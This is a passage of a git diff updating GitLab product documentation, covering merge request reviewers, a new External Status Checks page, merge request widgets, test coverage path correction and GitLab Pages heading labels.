+below the name of each suggested reviewer. [Code Owners](../../code_owners.md) are displayed as `Codeowner` without group detail.
+
+This example shows reviewers and approval rules when creating a new merge request:
+
+![Reviewer approval rules in new/edit form](img/reviewer_approval_rules_form_v13_8.png)
+
+This example shows reviewers and approval rules in a merge request sidebar:
+
+![Reviewer approval rules in sidebar](img/reviewer_approval_rules_sidebar_v13_8.png)
+
+### Requesting a new review
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/293933) in GitLab 13.9.
+
+After a reviewer completes their [merge request reviews](../../../discussions/index.md),
+the author of the merge request can request a new review from the reviewer:
+
+1. If the right sidebar in the merge request is collapsed, click the
+ **{chevron-double-lg-left}** **Expand Sidebar** icon to expand it.
+1. In the **Reviewers** section, click the **Re-request a review** icon (**{redo}**)
+ next to the reviewer's name.
+
+GitLab creates a new [to-do item](../../../todos.md) for the reviewer, and sends
+them a notification email.
+
+#### Approval status
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292936) in GitLab 13.10.
+
+If a user in the reviewer list has approved the merge request, a green tick symbol is
+shown to the right of their name.
+
## Semi-linear history merge requests
A merge commit is created for every merge, but the branch is only merged if
@@ -180,56 +204,6 @@ Multiline comments display the comment's line numbers above the body of the comm
![Multiline comment selection displayed above comment](img/multiline-comment-saved.png)
-## Pipeline status in merge requests widgets
-
-If you've set up [GitLab CI/CD](../../../../ci/README.md) in your project,
-you can see:
-
-- Both pre-merge and post-merge pipelines and the environment information if any.
-- Which deployments are in progress.
-
-If an application is successfully deployed to an
-[environment](../../../../ci/environments/index.md), the deployed environment and the link to the
-Review App are both shown.
-
-NOTE:
-When the pipeline fails in a merge request but it can still be merged,
-the **Merge** button is colored red.
-
-### Post-merge pipeline status
-
-When a merge request is merged, you can see the post-merge pipeline status of
-the branch the merge request was merged into. For example, when a merge request
-is merged into the [default branch](../../repository/branches/default.md) and then triggers a deployment to the staging
-environment.
-
-Ongoing deployments are shown, and the state (deploying or deployed)
-for environments. If it's the first time the branch is deployed, the link
-returns a `404` error until done. During the deployment, the stop button is
-disabled. If the pipeline fails to deploy, the deployment information is hidden.
-
-![Merge request pipeline](img/merge_request_pipeline.png)
-
-For more information, [read about pipelines](../../../../ci/pipelines/index.md).
-
-### Merge when pipeline succeeds (MWPS)
-
-Set a merge request that looks ready to merge to
-[merge automatically when CI pipeline succeeds](../merge_when_pipeline_succeeds.md).
-
-### Live preview with Review Apps
-
-If you configured [Review Apps](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) for your project,
-you can preview the changes submitted to a feature branch through a merge request
-on a per-branch basis. You don't need to checkout the branch, install, and preview locally.
-All your changes are available to preview by anyone with the Review Apps link.
-
-With GitLab [Route Maps](../../../../ci/review_apps/index.md#route-maps) set, the
-merge request widget takes you directly to the pages changed, making it easier and
-faster to preview proposed modifications.
-
-[Read more about Review Apps](../../../../ci/review_apps/index.md).
-
## Associated features
These features are associated with merge requests:
@@ -386,32 +360,7 @@ All the above can be done with the [`git-mr`](https://gitlab.com/glensc/git-mr)
## Cached merge request count
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299542) in GitLab 13.11.
-> - It's [deployed behind a feature flag](../../../feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-merge-request-count).
-
-WARNING:
-This feature might not be available to you. Refer to the previous **version history** note for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/327319) in GitLab 14.0.
In a group, the sidebar displays the total count of open merge requests. This value is cached if it's greater than
than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours.
-
-### Enable or disable cached merge request count **(FREE SELF)**
-
-Cached merge request count in the left sidebar is under development but ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:cached_sidebar_merge_requests_count)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:cached_sidebar_merge_requests_count)
-```
diff --git a/doc/user/project/merge_requests/reviews/suggestions.md b/doc/user/project/merge_requests/reviews/suggestions.md
index 0c8dd384b88..9409cc569a6 100644
--- a/doc/user/project/merge_requests/reviews/suggestions.md
+++ b/doc/user/project/merge_requests/reviews/suggestions.md
@@ -140,3 +140,7 @@ to your branch to address your reviewers' requests.
WARNING:
Suggestions applied from multiple authors creates a commit authored by the user applying the suggestions.
+
+## Related links
+
+- [Suggestions API](../../../../api/suggestions.md)
diff --git a/doc/user/project/merge_requests/squash_and_merge.md b/doc/user/project/merge_requests/squash_and_merge.md
index 4315e5a0305..47c7e208f2d 100644
--- a/doc/user/project/merge_requests/squash_and_merge.md
+++ b/doc/user/project/merge_requests/squash_and_merge.md
@@ -7,7 +7,7 @@ type: reference, concepts
# Squash and merge **(FREE)**
-> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) to GitLab Free in 11.0.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18956) from GitLab Premium to GitLab Free in 11.0.
With squash and merge you can combine all your merge request's commits into one
and retain a clean history.
diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md
new file mode 100644
index 00000000000..775820870f3
--- /dev/null
+++ b/doc/user/project/merge_requests/status_checks.md
@@ -0,0 +1,179 @@
+---
+stage: Manage
+group: Compliance
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
+type: reference, concepts
+disqus_identifier: 'https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html'
+---
+
+# External Status Checks **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0.
+> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can create a status check that sends merge request data to third-party tools.
+When users create, change, or close merge requests, GitLab sends a notification. The users or automated workflows
+can then update the status of merge requests from outside of GitLab.
+
+With this integration, you can integrate with third-party workflow tools, like
+ServiceNow, or the custom tool of your choice. The third-party tool
+respond with an associated status. This status is then displayed as a non-blocking
+widget within the merge request to surface this status to the merge request author or reviewers
+at the merge request level itself.
+
+The lack of a status check response does not block the merging of a merge request.
+
+You can configure merge request status checks for each individual project. These are not shared between projects.
+
+To learn more about use cases, feature discovery, and development timelines,
+see the [external status checks epic](https://gitlab.com/groups/gitlab-org/-/epics/3869).
+
+## View the status checks on a project
+
+Within each project's settings, you can see a list of status checks added to the project:
+
+1. In your project, go to **Settings > General**.
+1. Expand the **Merge requests** section.
+1. Scroll down to the **Status checks** sub-section.
+
+![Status checks list](img/status_checks_list_view_v14_0.png)
+
+This list shows the service name, API URL, and targeted branch.
+It also provides actions to allow you to create, edit, or remove status checks.
+
+## Add or update a status check
+
+### Add a status check
+
+Within the **Status checks** sub-section, select the **Add status check** button.
+The **Add status check** form is then shown.
+
+![Status checks create form](img/status_checks_create_form_v14_0.png)
+
+Filling in the form and selecting the **Add status check** button creates a new status check.
+
+### Update a status check
+
+Within the **Status checks** sub-section, select the **Edit** button
+next to the status check you want to edit.
+The **Update status check** form is then shown.
+
+![Status checks update form](img/status_checks_update_form_v14_0.png)
+
+Changing the values in the form and selecting the **Update status check** button updates the status check.
+
+### Form values
+
+For common form errors see the [troubleshooting](#troubleshooting) section below.
+
+#### Service name
+
+This name can be any alphanumerical value and **must** be set. The name **must** be unique for
+the project.
+The name **has** to be unique for the project.
+
+#### API to check
+
+This field requires a URL and **must** use either the HTTP or HTTPs protocols.
+We **recommend** using HTTPs to protect your merge request data in transit.
+The URL **must** be set and **must** be unique for the project.
+
+#### Target branch
+
+If you want to restrict the status check to a single branch,
+you can use this field to set this limit.
+
+![Status checks branch selector](img/status_checks_branches_selector_v14_0.png)
+
+The branches list is populated from the projects [protected branches](../protected_branches.md).
+
+You can scroll through the list of branches or use the search box
+when there are a lot of branches and the branch you are looking
+for doesn't appear immediately. The search box requires
+**three** alphanumeric characters to be entered for the search to begin.
+
+If you want the status check to be applied to **all** merge requests,
+you can select the **Any branch** option.
+
+## Delete a status check
+
+Within the **Status checks** sub-section, select the **Remove...** button
+next to the status check you want to delete.
+The **Remove status check?** modal is then shown.
+
+![Status checks delete modal](img/status_checks_delete_modal_v14_0.png)
+
+To complete the deletion of the status check you must select the
+**Remove status check** button. This **permanently** deletes
+the status check and it **will not** be recoverable.
+
+## Troubleshooting
+
+### Duplicate value errors
+
+```plaintext
+Name is already taken
+---
+External API is already in use by another status check
+```
+
+On a per project basis, status checks can only use a name or API URL once.
+These errors mean that either the status checks name or API URL have already
+been used in this projects status checks.
+
+You must either choose a different
+value on the current status check or update the value on the existing status check.
+
+### Invalid URL error
+
+```plaintext
+Please provide a valid URL
+```
+
+The API to check field requires the URL provided to use either the HTTP or HTTPs protocols.
+You must update the value of the field to meet this requirement.
+
+### Branch list error during retrieval or search
+
+```plaintext
+Unable to fetch branches list, please close the form and try again
+```
+
+An unexpected response was received from the branches retrieval API.
+As suggested, you should close the form and reopen again or refresh the page. This error should be temporary, although
+if it persists please check the [GitLab status page](https://status.gitlab.com/) to see if there is a wider outage.
+
+## Enable or disable status checks **(ULTIMATE SELF)**
+
+Status checks are under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+# For the instance
+Feature.enable(:ff_compliance_approval_gates)
+# For a single project
+Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
+```
+
+To disable it:
+
+```ruby
+# For the instance
+Feature.disable(:ff_compliance_approval_gates)
+# For a single project
+Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)
+```
+
+## Related links
+
+- [External status checks API](../../../api/status_checks.md)
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index 4960e9d9889..e044d50d246 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Test Coverage Visualization
+# Test coverage visualization **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/249811) in GitLab 13.5.
@@ -65,53 +65,65 @@ to draw the visualization on the merge request expires **one week** after creati
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217664) in GitLab 13.8.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284822) in GitLab 13.9.
-For the coverage report to properly match the files displayed on a merge request diff, the `filename` of a `class` element
-must contain the full path relative to the project root. But in some coverage analysis frameworks, the generated
-Cobertura XML has the `filename` path relative to the class package directory instead.
+The coverage report properly matches changed files only if the `filename` of a `class` element
+contains the full path relative to the project root. However, in some coverage analysis frameworks,
+the generated Cobertura XML has the `filename` path relative to the class package directory instead.
-To make an intelligent guess on the project root relative `class` path, the Cobertura XML parser attempts to build the
-full path by doing the following:
+To make an intelligent guess on the project root relative `class` path, the Cobertura XML parser
+attempts to build the full path by:
-1. Extract a portion of the `source` paths from the `sources` element and combine them with the class `filename` path.
-1. Check if the candidate path exists in the project.
-1. Use the first candidate that matches as the class full path.
+- Extracting a portion of the `source` paths from the `sources` element and combining them with the
+ class `filename` path.
+- Checking if the candidate path exists in the project.
+- Using the first candidate that matches as the class full path.
-As an example scenario, given the project's full path is `test-org/test-project`, and has the following file tree relative
-to the project root:
+#### Path correction example
-```shell
-Auth/User.cs
-Lib/Utils/User.cs
-src/main/java
-```
+As an example, a project with:
-In the Cobertura XML, the `filename` attribute in the `class` element assumes the value is a
-relative path to project's root.
+- A full path of `test-org/test-project`.
+- The following files relative to the project root:
-```xml
-<class name="packet.name" filename="src/main/java" line-rate="0.0" branch-rate="0.0" complexity="5">
-```
+ ```shell
+ Auth/User.cs
+ Lib/Utils/User.cs
+ src/main/java
+ ```
-And the `sources` from Cobertura XML with paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`:
+In the:
-```xml
-<sources>
- <source>/builds/test-org/test-project/Auth</source>
- <source>/builds/test-org/test-project/Lib/Utils</source>
-</sources>
-```
+- Cobertura XML, the `filename` attribute in the `class` element assumes the value is a relative
+ path to the project's root:
-The parser extracts `Auth` and `Lib/Utils` from the sources and use these as basis to determine the class path relative to
-the project root, combining these extracted sources and the class filename.
+ ```xml
+ <class name="packet.name" filename="src/main/java" line-rate="0.0" branch-rate="0.0" complexity="5">
+ ```
-If for example there is a `class` element with the `filename` value of `User.cs`, the parser takes the first candidate path
-that matches, which is `Auth/User.cs`.
+- `sources` from Cobertura XML, the following paths in the format
+ `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`:
-For each `class` element, the parser attempts to look for a match for each extracted `source` path up to `100` iterations. If it reaches this limit without finding a matching path in the file tree, the class will not be included in the final coverage report.
+ ```xml
+ <sources>
+ <source>/builds/test-org/test-project/Auth</source>
+ <source>/builds/test-org/test-project/Lib/Utils</source>
+ </sources>
+ ```
+
+The parser:
+
+- Extracts `Auth` and `Lib/Utils` from the `sources` and uses these to determine the `class` path
+ relative to the project root.
+- Combines these extracted `sources` and the class filename. For example, if there is a `class`
+ element with the `filename` value of `User.cs`, the parser takes the first candidate path that
+ matches, which is `Auth/User.cs`.
+- For each `class` element, attempts to look for a match for each extracted `source` path up to
+ 100 iterations. If it reaches this limit without finding a matching path in the file tree, the
+ class is not included in the final coverage report.
NOTE:
-The automatic class path correction only works on `source` paths in the format of `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`. If `source` will be ignored if the path does not follow this pattern. The parser assumes that
-the `filename` of a `class` element contains the full path relative to the project root.
+Automatic class path correction only works on `source` paths in the format `<CI_BUILDS_DIR>/<PROJECT_FULL_PATH>/...`.
+The `source` is ignored if the path does not follow this pattern. The parser assumes that the
+`filename` of a `class` element contains the full path relative to the project root.
## Example test coverage configurations
@@ -157,7 +169,7 @@ test-jdk11:
coverage-jdk11:
# Must be in a stage later than test-jdk11's stage.
# The `visualize` stage does not exist by default.
- # Please define it first, or chose an existing stage like `deploy`.
+ # Please define it first, or choose an existing stage like `deploy`.
stage: visualize
image: registry.gitlab.com/haynes/jacoco2cobertura:1.0.7
script:
diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
index cc0be389891..55e122dec76 100644
--- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
+++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
@@ -6,7 +6,7 @@ type: index
description: "Test your code and display reports in merge requests"
---
-# Tests and reports in merge requests
+# Tests and reports in merge requests **(FREE)**
GitLab has the ability to test the changes included in a feature branch and display reports
or link to useful information directly from merge requests:
diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md
index 676af4b2881..1d196de36e2 100644
--- a/doc/user/project/merge_requests/versions.md
+++ b/doc/user/project/merge_requests/versions.md
@@ -64,7 +64,7 @@ In GitLab 12.10, we added a comparison mode, which
shows a diff calculated by simulating how it would look like once merged - a more accurate
representation of the changes rather than using the base of the two
branches. The new mode is available from the comparison target drop down
-by selecting **master (HEAD)**. In GitLab 13.9, it
+by selecting **main (HEAD)**. In GitLab 13.9, it
[replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/198458) the
old default comparison. For technical details, additional information is available in the
[developer documentation](../../../development/diffs.md#merge-request-diffs-against-the-head-of-the-target-branch).
diff --git a/doc/user/project/merge_requests/widgets.md b/doc/user/project/merge_requests/widgets.md
new file mode 100644
index 00000000000..92b2a8f24ef
--- /dev/null
+++ b/doc/user/project/merge_requests/widgets.md
@@ -0,0 +1,64 @@
+---
+stage: Create
+group: Code Review
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: index, reference
+---
+
+# Merge request widgets **(FREE)**
+
+The **Overview** page of a merge request displays status updates from services
+that perform actions on your merge request. All subscription levels display a
+widgets area, but the content of the area depends on your subscription level
+and the services you configure for your project.
+
+## Pipeline information
+
+If you've set up [GitLab CI/CD](../../../ci/README.md) in your project,
+a [merge request](index.md) displays pipeline information in the widgets area
+of the **Overview** tab:
+
+- Both pre-merge and post-merge pipelines, and the environment information, if any.
+- Which deployments are in progress.
+
+If an application is successfully deployed to an
+[environment](../../../ci/environments/index.md), the deployed environment and the link to the
+[review app](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) are both shown.
+
+NOTE:
+When the pipeline fails in a merge request but it can still be merged,
+the **Merge** button is colored red.
+
+## Post-merge pipeline status
+
+When a merge request is merged, you can see the post-merge pipeline status of
+the branch the merge request was merged into. For example, when a merge request
+is merged into the [default branch](../repository/branches/default.md) and then triggers a deployment to the staging
+environment.
+
+Ongoing deployments are shown, and the state (deploying or deployed)
+for environments. If it's the first time the branch is deployed, the link
+returns a `404` error until done. During the deployment, the stop button is
+disabled. If the pipeline fails to deploy, the deployment information is hidden.
+
+![Merge request pipeline](img/merge_request_pipeline.png)
+
+For more information, [read about pipelines](../../../ci/pipelines/index.md).
+
+## Merge when pipeline succeeds (MWPS)
+
+Set a merge request that looks ready to merge to
+[merge automatically when CI pipeline succeeds](merge_when_pipeline_succeeds.md).
+
+## Live preview with Review Apps
+
+If you configured [Review Apps](https://about.gitlab.com/stages-devops-lifecycle/review-apps/) for your project,
+you can preview the changes submitted to a feature branch through a merge request
+on a per-branch basis. You don't need to checkout the branch, install, and preview locally.
+All your changes are available to preview by anyone with the Review Apps link.
+
+With GitLab [Route Maps](../../../ci/review_apps/index.md#route-maps) set, the
+merge request widget takes you directly to the pages changed, making it easier and
+faster to preview proposed modifications.
+
+[Read more about Review Apps](../../../ci/review_apps/index.md).
diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md
index 4b854da116e..8b663b8edf8 100644
--- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md
+++ b/doc/user/project/merge_requests/work_in_progress_merge_requests.md
@@ -1,5 +1,6 @@
---
redirect_to: 'drafts.md'
+remove_date: '2021-05-19'
---
This document was moved to [another location](drafts.md).
diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md
index 2399774c96d..3f7d5b6aac1 100644
--- a/doc/user/project/milestones/index.md
+++ b/doc/user/project/milestones/index.md
@@ -38,8 +38,8 @@ You can assign **group milestones** to any issue or merge request of any project
To view the group milestone list, in a group, go to **{issues}** **Issues > Milestones**.
You can also view all milestones you have access to in the dashboard milestones list.
-To view both project milestones and group milestones you have access to, select **More > Milestones**
-on the top navigation bar.
+To view both project milestones and group milestones you have access to, select **Menu > Milestones**
+on the top bar.
For information about project and group milestones API, see:
diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md
index f7e8d3d140c..55fde63dd47 100644
--- a/doc/user/project/new_ci_build_permissions_model.md
+++ b/doc/user/project/new_ci_build_permissions_model.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../ci/README.md'
+remove_date: '2021-06-01'
---
This document is deprecated. See the latest [GitLab CI/CD documentation](../../ci/README.md).
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
index f02697a3cd5..410fdab15e7 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# DNS records overview
+# DNS records overview **(FREE)**
_Read this document for a brief overview of DNS records in the scope
of GitLab Pages, for beginners in web development._
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
index 8ed0ef82893..8c77714a2de 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/index.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Custom domains and SSL/TLS Certificates
+# Custom domains and SSL/TLS certificates **(FREE)**
Setting up GitLab Pages with custom domains, and adding SSL/TLS certificates to them, are optional features of GitLab Pages.
@@ -114,7 +114,7 @@ without any `/project-name`.
##### For both root and subdomains
-There are a few cases where you need point both subdomain and root
+There are a few cases where you need to point both the subdomain and root
domain to the same website, for instance, `example.com` and `www.example.com`.
They require:
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
index 86e34842aaf..f0a922ff390 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md
@@ -6,7 +6,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Pages integration with Let's Encrypt
+# GitLab Pages integration with Let's Encrypt **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28996) in GitLab 12.1. For versions earlier than GitLab 12.1, see the [manual Let's Encrypt instructions](../lets_encrypt_for_gitlab_pages.md).
@@ -67,7 +67,7 @@ associated Pages domain. GitLab also renews it automatically.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30146) in GitLab 13.0.
-If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, you can try obtaining the certificate again by following these steps:
+If you get an error **Something went wrong while obtaining the Let's Encrypt certificate**, first, make sure that your pages site is set to "Everyone" in your project's **Settings > General > Visbility**. This allows the Let's Encrypt Servers reach your pages site. Once this is confirmed, you can try obtaining the certificate again by following these steps:
1. Go to your project's **Settings > Pages**.
1. Click **Edit** on your domain.
diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
index f79c60a933a..48412f48c12 100644
--- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
+++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# SSL/TLS Certificates
+# SSL/TLS certificates **(FREE)**
_Read this document for a brief overview of SSL/TLS certificates in
the scope of GitLab Pages, for beginners in web development._
diff --git a/doc/user/project/pages/getting_started/pages_ci_cd_template.md b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
index 30dd337d9d8..4f2b62beab1 100644
--- a/doc/user/project/pages/getting_started/pages_ci_cd_template.md
+++ b/doc/user/project/pages/getting_started/pages_ci_cd_template.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a Pages website by using a CI/CD template
+# Create a Pages website by using a CI/CD template **(FREE)**
GitLab provides `.gitlab-ci.yml` templates for the most popular Static Site Generators (SSGs).
You can create your own `.gitlab-ci.yml` file from one of these templates, and run
@@ -17,7 +17,7 @@ Your GitLab repository should contain files specific to an SSG, or plain HTML.
After you complete these steps, you may need to do additional
configuration for the Pages site to generate properly.
-1. In the left sidebar, click **Project overview**.
+1. On the left sidebar, select **Project information**.
1. Click **Set up CI/CD**.
![setup GitLab CI/CD](../img/setup_ci_v13_1.png)
diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
index d9ec2aae2b7..386ed566225 100644
--- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md
+++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a Pages website from a forked sample
+# Create a Pages website from a forked sample **(FREE)**
GitLab provides [sample projects for the most popular Static Site Generators (SSG)](https://gitlab.com/pages).
You can fork one of the sample projects and run the CI/CD pipeline to generate a Pages website.
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index 8368b38bc80..9f80e2e7613 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -4,7 +4,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a GitLab Pages website from scratch
+# Create a GitLab Pages website from scratch **(FREE)**
This tutorial shows you how to create a Pages site from scratch. You start with
a blank project and create your own CI file, which gives instruction to
diff --git a/doc/user/project/pages/getting_started/pages_new_project_template.md b/doc/user/project/pages/getting_started/pages_new_project_template.md
index 36371573fd9..f52f64626ac 100644
--- a/doc/user/project/pages/getting_started/pages_new_project_template.md
+++ b/doc/user/project/pages/getting_started/pages_new_project_template.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a Pages website from a template
+# Create a Pages website from a template **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47857) in GitLab 11.8.
@@ -26,7 +26,6 @@ configured to generate a Pages site.
and click **Run pipeline** to trigger GitLab CI/CD to build and deploy your
site.
-The site can take approximately 30 minutes to deploy.
When the pipeline is finished, go to **Settings > Pages** to find the link to
your Pages website.
diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md
index 9eb80e3287c..32826346eab 100644
--- a/doc/user/project/pages/getting_started_part_one.md
+++ b/doc/user/project/pages/getting_started_part_one.md
@@ -4,7 +4,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Pages domain names, URLs, and base URLs
+# GitLab Pages domain names, URLs, and base URLs **(FREE)**
On this document, learn how to name your project for GitLab Pages
according to your intended website's URL.
diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md
index 2ff91292b1b..1f5e1a6ab45 100644
--- a/doc/user/project/pages/index.md
+++ b/doc/user/project/pages/index.md
@@ -5,7 +5,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Pages
+# GitLab Pages **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/80) in GitLab Enterprise Edition 8.3.
> - Custom CNAMEs with TLS support were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/173) in GitLab Enterprise Edition 8.5.
diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md
index 18acb360f5a..4d6a8653657 100644
--- a/doc/user/project/pages/introduction.md
+++ b/doc/user/project/pages/introduction.md
@@ -4,7 +4,7 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Exploring GitLab Pages
+# Exploring GitLab Pages **(FREE)**
This document is a user guide to explore the options and settings
GitLab Pages offers.
@@ -324,4 +324,4 @@ pages:
- public
```
-The `FF_USE_FASTZIP` variable enables the [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) which is needed for [`ARTIFACT_COMPRESSION_LEVEL`](../../../ci/runners/README.md#artifact-and-cache-settings).
+The `FF_USE_FASTZIP` variable enables the [feature flag](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) which is needed for [`ARTIFACT_COMPRESSION_LEVEL`](../../../ci/runners/configure_runners.md#artifact-and-cache-settings).
diff --git a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
index b5932fc8766..ce49699785e 100644
--- a/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
+++ b/doc/user/project/pages/lets_encrypt_for_gitlab_pages.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
description: "How to secure GitLab Pages websites with Let's Encrypt (manual process, deprecated)."
---
-# Let's Encrypt for GitLab Pages (manual process, deprecated)
+# Let's Encrypt for GitLab Pages (manual process, deprecated) **(FREE)**
WARNING:
This method is still valid but was **deprecated** in favor of the
diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md
index 2e0fc87b3df..532a36b2327 100644
--- a/doc/user/project/pages/pages_access_control.md
+++ b/doc/user/project/pages/pages_access_control.md
